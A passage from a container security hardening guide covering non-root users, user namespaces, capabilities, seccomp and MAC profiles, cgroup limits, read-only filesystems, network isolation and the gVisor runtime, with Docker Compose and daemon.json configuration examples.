• Image creation time: setting the USER instruction in the Dockerfile.
• Container creation time: via the tools available (user: in the Compose file).
• Container runtime: degrading privileges with entrypoints scripts (gosu UID:GID).

Well-made images with security in mind will have a USER instruction. In my experience, most people will run images blindly, so it’s good harm reduction. Setting the user manually works in some images that aren’t designed without root in mind, and it’s also great to mitigate some scenarii where the image is controlled by an attacker. You also won’t have surprises when mounting volumes, so I highly recommend setting the user explicitly and make sure volume permissions are correct once.

Some images allow users to define their own user with UID/GID environment variables, with an entrypoint script that runs as root and takes care of the volume permissions before dropping privileges. While technically fine, it is still attack surface, and it requires the SETUID/SETGID capabilities to be available in the container.

User namespaces: sandbox or paradox?

As mentioned just above, user namespaces are a solution to ensure root in the container is not root on the host. Docker supports user namespaces, for instance you could set the default mapping in /etc/docker/daemon.json:

    "userns-remap": "default"

whoami && sleep 60 in the container will return root, but ps -fC sleep on the host will show us the PID of another user. That is nice, but it has limitations and therefore shouldn’t be considered as a real sandbox. In fact, the paradox is that user namespaces are attack surface (and vulnerabilities are still being found years later), and it’s common wisdom to restrict them to privileged users (kernel.unprivileged_userns_clone=0). That is fine for Docker with its traditional root daemon, but Podman expects you to let unprivileged users interact with user namespaces (so essentially privileged code).

Enabling userns-remap in Docker shouldn’t be a substitute for running unprivileged application containers (where applicable). User namespaces are mostly useful if you intend to run full-fledged OS containers which need root in order to function, but that is out of the scope of the container technologies mentioned in this article; for them, I’d argue exposing such a vulnerable attack surface from the host kernel for dubious sandboxing benefits isn’t an interesting trade-off to make.

The no_new_privs bit

After ensuring root isn’t used in your containers, you should look into setting the no_new_privs bit. This Linux feature restricts syscalls such as execve() from granting privileges, which is what you want to restrict in-container privilege escalation. This flag can be set for a given container in a Compose file:

    security_opt:
        - "no-new-privileges=true"

Gaining privileges in the container will be much harder that way.

Capabilities

Furthermore, we should mention capabilities: root powers are divided into distinct units by the Linux kernel, called capabilities. Each granted capability also grants privilege and therefore access to a significant amount of attack surface. Security researcher Brad Spengler enumerates 19 important capabilities. Docker restricts certain capabilities by default, but some of the most important ones are still available to a container by default.

You should consider the following rule of thumb:

• Drop all capabilities by default.
• Allow only the ones you really need to.

If you already run your containers unprivileged without root, your container will very likely work fine with all capabilities dropped. That can be done in a Compose file:

    cap_drop:
        - ALL
    #cap_add:
    #  - CHOWN
    #  - DAC_READ_SEARCH
    #  - SETUID
    #  - SETGID

Never use the --privileged option unless you really need to: a privileged container is given access to almost all capabilities, kernel features and devices.

Other security features

MACs and seccomp are robust tools that may vastly improve container security.

Mandatory Access Control

MAC stand for Mandatory Access Control: traditionally a Linux Security Module that will enforce a policy to restrict the userspace. Examples are AppArmor and SELinux: the former being more easy-to-use, the later being more fine-grained. Both are strong tools that can help… Yet, their sole presence does not mean they’re really effective. A robust policy starts from a deny all policy, and only allows the necessary resources to be accessed.

seccomp

seccomp (short for secure computing mode) on the other hand is a much simpler and complementary tool, and there is no reason not to use it. What it does is restricting a process to a set of system calls, thus drastically reducing the attack surface available.

Docker provides default profiles for AppArmor and seccomp, and they’re enabled by default for newly created containers unless the unconfined option is explicitly passed. Note: Kubernetes doesn’t enable the default seccomp profile by default, so you should probably try it.

These profiles are a great start, but you should do much more if you take security seriously, because they were made to not break compatibility with a large range of images. The default seccomp profile only disables around 44 syscalls, which are mostly not very common and/or obsoleted. Of course, the best profile you can get is supposed to be written for a given program. It also doesn’t make sense to insist on the permissiveness of the default profiles, and a lof of work has gone into hardening containers.

cgroups

Use cgroups to restrict access to hardware and system resources. You likely don’t want a guest container to monopolize the host resources. You also don’t want to be vulnerable to stupid fork bomb attacks. In a Compose file, consider setting these limits:

    mem_limit: 4g
    cpus: 4
    pids_limit: 256

More runtime options can be found in the official documentation. All of them should have a Compose spec equivalent.

The --cgroup-parent option should be avoided as it uses the host cgroup and not the one configured from Docker (or else), which is the default.

Read-only filesystem

It is good practice to treat the image as some refer to as the “golden image”.

In other words, you’ll run containers in read-only mode, with an immutable filesystem inherited from the image. Only the mounted volumes will be read/write accessible, and those should ideally be mounted with the noexec, nosuid and nodev options for extra security. If read/write access isn’t needed, mount these volumes as read-only too.

However, the image may not be perfect and still require read/write access to some parts of the filesystem, likely directories such as /tmp, /run or /var. You can make a tmpfs for those (a temporary filesystem in the container attributed memory), because they’re not persistent data anyway.

In a Compose file, that would look like the following settings:

    read_only: true
    tmpfs:
        - /tmp:size=10M,mode=0770,uid=1000,gid=1000,noexec,nosuid,nodev

That is quite verbose indeed, but that’s to show you the different options for a tmpfs mount. You want to restrict them in size and permissions ideally.

Network isolation

By default, all Docker containers will use the default network bridge. They will see and be able to communicate with each other. Each container should have its own user-defined bridge network, and each connection between containers should have an internal network. If you intend to run a reverse proxy in front of several containers, you should make a dedicated network for each container you want to expose to the reverse proxy.

The --network host option also shouldn’t be used for obvious reasons since the container would share the same network as the host, providing no isolation at all.

Alternative runtimes (gVisor)

runc is the reference OCI runtime, but that means other runtimes can exist as well as long as they’re compliant with the OCI standard. These runtimes can be interchanged quite seamlessly. There’s a few alternatives, such as crun or youki, respectively implemented in C and Rust (runc is a Go implementation). However, there is one particular runtime that does a lot more for security: runsc, provided by the gVisor project by the folks at Google.

Containers are not a sandbox, and while we can improve their security, they will fundamentally share a common attack surface with the host. Virtual machines are a solution to that problem, but you might prefer container semantics and ecosystem. gVisor can be perceived as an attempt to get the “best of both worlds”: containers that are easy to manage while providing a native isolation boundary. gVisor did just that by implementing two things:

• Sentry: an application kernel in Go, a language known to be memory-safe. It implements the Linux logic in userspace such as various system calls.
• Gofer: a host process which communicates with Sentry and the host filesystem, since Sentry is restricted in that aspect.

A platform like ptrace or KVM is used to intercept system calls and redirect them from the application to Sentry, which is running in the userspace. This has some costs: there is a higher per-syscall overhead, and compatibility is reduced since not all syscalls are implemented. On top of that, gVisor employs security mechanisms we’ve glanced over above, such as a very restrictive seccomp profile between Sentry and the host kernel, the no_new_privs bit, and isolated namespaces from the host.

The security model of gVisor is comparable to what you would expect from a virtual machine. It is also very easy to install and use. The path to runsc along with its different configuration flags (runsc flags) should be added to /etc/docker/daemon.json:

    "runtimes": {
        "runsc-ptrace": {
            "path": "/usr/local/bin/runsc",
            "runtimeArgs": [
                "--platform=ptrace"
            ]
        },
        "runsc-kvm": {
            "path": "/usr/local/bin/runsc",
            "runtimeArgs": [
                "--platform=kvm"
            ]
        }
    }

runsc needs to start with root to set up some mitigations, including the use of its own network stack separated from the host. The sandbox itself drops privileges to nobody as soon as possible. You can still use runsc rootless if you want (which should be needed for Podman):

./runsc --rootless do uname -a
*** Warning: sandbox network isn't supported with --rootless, switching to host ***
Linux 4.4.0 #1 SMP Sun Jan 10 15:06:54 PST 2016 x86_64 GNU/Linux

Linux 4.4.0 is shown because that is the version of the Linux API that Sentry tries to mimic. As you’ve probably guessed, you’re not really using Linux 4.4.0, but the application kernel that behaves like it. By the way, gVisor is of course compatible with cgroups.

Conclusion: what’s a container after all?

Like I wrote above, a container is mostly defined by its semantics and ecosystem. Containers shouldn’t be solely defined by the OCI reference runtime implementation, as we’ve seen with gVisor that provides an entirely different security model.

Still not convinced? What if I told you a container can leverage the same technologies as a virtual machine? That is exactly what Kata Containers does by using a VMM like QEMU-lite to provide containers that are in fact lightweight virtual machines, with their traditional resources and security model, compatibility with container semantics and toolset, and an optimized overhead. While not in the OCI ecosystem, Amazon achieves quite the same with Firecracker.

If you’re running untrusted workloads, I highly suggest you consider gVisor instead of a traditional container runtime. Your definition of “untrusted” may vary: for me, almost everything should be considered untrusted. That is how modern security works, and how mobile operating systems work. It’s quite simple, security should be simple, and gVisor simply offers native security.

Containers are a popular, yet strange world. They revolutionized the way we make and deploy software, but one should not loose the sight of what they really are and aren’t. This hardening guide is non-exhaustive, but I hope it can make you aware of some aspects you’ve never thought of.